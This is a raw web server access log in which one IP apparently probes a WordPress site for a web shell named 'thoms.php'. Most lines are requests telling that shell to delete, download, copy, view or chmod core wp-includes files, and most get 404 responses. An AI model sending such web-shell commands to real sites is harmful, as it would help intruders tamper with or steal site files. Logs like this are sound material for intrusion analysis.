45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?chmod=block-supports&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-supports&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fimages&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2FRequests&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2FRequests&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?del=class-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?dl=embed-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=embed-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-parser.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-parser.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?del=class-wp-block-parser.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-role.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-role.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?dl=class-wp-widget-factory.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget-factory.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?dl=class-wp-customize-setting.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-setting.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:06 -0400] "GET /thoms.php?del=class-wp-widget-factory.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-widget-factory.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /thoms.php?del=registration-functions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=registration-functions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /thoms.php?chmod=wp-db.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=wp-db.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /thoms.php?del=class-pop3.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-pop3.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /thoms.php?chmod=class-wp-oembed-controller.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed-controller.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-styles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=media.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /thoms.php?dl=shortcodes.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=shortcodes.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /biotaiwan.com.tw/wp-includes/speculative-loading.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /thoms.php?del=sitemaps.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=sitemaps.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-customize-section.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /thoms.php?dl=theme-templates.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-templates.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /thoms.php?chmod=class-wp-locale.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /thoms.php?dl=rest-api.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=rest-api.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=taxonomy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?del=class-wp-speculation-rules.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-speculation-rules.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-table.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-table.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?del=class-wp-walker.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-walker.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fsitemaps.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fsitemaps.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?chmod=block-bindings.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-bindings.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?del=ai-client.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ai-client.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?dl=class-wp-block-editor-context.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-editor-context.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?dl=class-wp-comment.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?chmod=class-wp-script-modules.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-script-modules.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /biotaiwan.com.tw/wp-includes/interactivity-api/ HTTP/1.1" 200 946 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=embed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?chmod=fonts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=fonts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-http-curl.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?del=theme-compat&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-compat&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:08 -0400] "GET /thoms.php?chmod=block-template-utils.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-template-utils.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-table.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-table.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /thoms.php?del=class-wp-theme.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /biotaiwan.com.tw/wp-includes/ai-client/ HTTP/1.1" 200 910 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=http.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /thoms.php?del=class-phpass.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-phpass.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /thoms.php?dl=class-wp-ajax-response.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-ajax-response.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /thoms.php?del=class-wp-block-pattern-categories-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-pattern-categories-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /thoms.php?dl=class-wp-block-patterns-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-patterns-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /thoms.php?chmod=class-wp-http-streams.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-streams.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /thoms.php?dl=class-wp-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-image-editor-imagick.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-user-request.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-user-request.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Ftheme-compat HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Ftheme-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /biotaiwan.com.tw/wp-includes/formatting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /thoms.php?dl=class-wp-block-parser-block.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-block.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
